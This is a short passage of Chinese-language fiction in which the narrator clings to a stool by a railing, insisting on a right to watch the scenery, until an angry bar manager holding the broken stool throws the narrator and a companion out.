“好几年都没人抓我了,我有看风景的权利。”我一只手把住栏杆,另一只手臂套进凳子腿与横着的木头的边角,死死把凳子锁住。
“咔哒”一声。
愤怒的店长举起残破的凳子,把我们两个赶出酒吧。